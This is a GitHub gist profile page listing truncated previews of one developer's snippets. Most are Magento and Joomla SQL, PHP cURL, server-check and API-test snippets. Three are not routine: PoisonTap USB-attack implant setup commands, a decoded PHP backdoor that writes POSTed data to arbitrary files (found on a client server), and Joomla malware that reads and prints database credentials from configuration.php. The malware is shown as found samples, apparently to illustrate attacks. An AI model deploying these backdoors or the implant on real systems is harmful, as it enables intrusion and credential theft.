Skip to content

Instantly share code, notes, and snippets.

View pkdavies's full-sized avatar

Peter Davies pkdavies

View GitHub Profile
sudo bash
echo -e "\nauto usb0\nallow-hotplug usb0\niface usb0 inet static\n\taddress 1.0.0.1\n\tnetmask 0.0.0.0" >> /etc/network/interfaces
echo "dtoverlay=dwc2" >> /boot/config.txt
echo -e "dwc2\ng_ether" >> /etc/modules
sudo sed --in-place "/exit 0/d" /etc/rc.local
echo "/bin/sh /home/pi/poisontap/pi_startup.sh" >> /etc/rc.local
mkdir /home/pi/poisontap
chown -R pi /home/pi/poisontap
apt-get update && apt-get upgrade
apt-get -y install isc-dhcp-server dsniff screen nodejs
SET FOREIGN_KEY_CHECKS = 0;
TRUNCATE TABLE catalog_category_entity;
TRUNCATE TABLE catalog_category_entity_datetime;
TRUNCATE TABLE catalog_category_entity_decimal;
TRUNCATE TABLE catalog_category_entity_int;
TRUNCATE TABLE catalog_category_entity_text;
TRUNCATE TABLE catalog_category_entity_varchar;
TRUNCATE TABLE catalog_category_product;
@pkdavies
pkdavies / clear.sql
Created January 16, 2015 14:34
This will clear any orders and customers from a test Magento - use at your own risk
SET FOREIGN_KEY_CHECKS=0;
-- Here's where we reset the orders
TRUNCATE `sales_flat_order`;
TRUNCATE `sales_flat_order_address`;
TRUNCATE `sales_flat_order_grid`;
TRUNCATE `sales_flat_order_item`;
TRUNCATE `sales_flat_order_status_history`;
TRUNCATE `sales_flat_quote`;
TRUNCATE `sales_flat_quote_address`;
@pkdavies
pkdavies / gist:70261dd1ff9bc79205ec
Created August 26, 2014 14:20
joomla upgrade tag fix SQL
-- Table structure for table `r53wg_content_types`
--
CREATE TABLE IF NOT EXISTS `r53wg_content_types` (
`type_id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`type_title` varchar(255) NOT NULL DEFAULT '',
`type_alias` varchar(255) NOT NULL DEFAULT '',
`table` varchar(255) NOT NULL DEFAULT '',
`rules` text NOT NULL,
<?php
// set the URL
$url = "http://www.juicymedia.co.uk";
// create a new cURL resource
$ch = curl_init();
// set URL and other appropriate options
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
@pkdavies
pkdavies / check.php
Last active December 17, 2015 04:49
This is a simple check script we use on a number of servers to make sure PHP -> Apache -> Server is running ok.
<?php
// start the output from scratch
ob_start();
// some older PHP configs need this setting
date_default_timezone_set('Europe/London');
// collect some other useful information
$json_array = array(
"status" => null,
@pkdavies
pkdavies / csr.php
Created April 9, 2013 09:00
Check CSR Details
<h3>Check CSR Details</h3>
<form method="post">
<p>Paste the CSR in the text area below:</p>
<textarea rows="16" cols="65" name="csr">
</textarea>
<br />
<input type="submit" />
</form>
<hr noshade />
<?php
@pkdavies
pkdavies / finalstm.php
Created April 5, 2013 14:14
This is the final decoded version of a server hack found on a client's server
<?php
if (empty ( $_POST ['mode'] ) or empty ( $_POST ['name'] ))
exit ( '0' );
switch ($_POST ['mode']) {
case 'load' :
if (empty ( $_POST ['data'] ))
exit ( 'no data' );
$IIIIIIII1Ill = fopen ( $_POST ['name'], 'w' ) or exit ( $_POST ['name'] . ' - load_no [' . dirname ( '/home/client/public_html/images/stm.php' ) . '/' . $_POST ['name'] . ']' );
fwrite ( $IIIIIIII1Ill, urldecode ( $_POST ['data'] ) );
fclose ( $IIIIIIII1Ill );
@pkdavies
pkdavies / sn.php
Created April 5, 2013 12:19
Joomla Link Changer - found on server and used in my own blog post to highlight common attack vectors used on Joomla sites
<?php
Error_Reporting(E_ERROR);
ini_set("max_execution_time", "555");
$gg=fopen('../configuration.php', 'r');
while($s=fgets($gg)){
if(strstr($s,'$user')){$str=explode("'",$s);$usr=$str[1];}
if(strstr($s,'$host ')){$str=explode("'",$s);$hst=$str[1];}
if(strstr($s,'$password ')){$str=explode("'",$s);$pass=$str[1];}
};fclose($gg);
echo "$usr-$pass-$hst";
@pkdavies
pkdavies / clickatell.php
Created April 4, 2013 13:30
Clickatell test API call
<?php
$user = "user";
$password = "pass";
$api_id = "123456";
$baseurl ="http://api.clickatell.com";
$text = urlencode("Knock knock);
$to = "+4471253789";
// auth call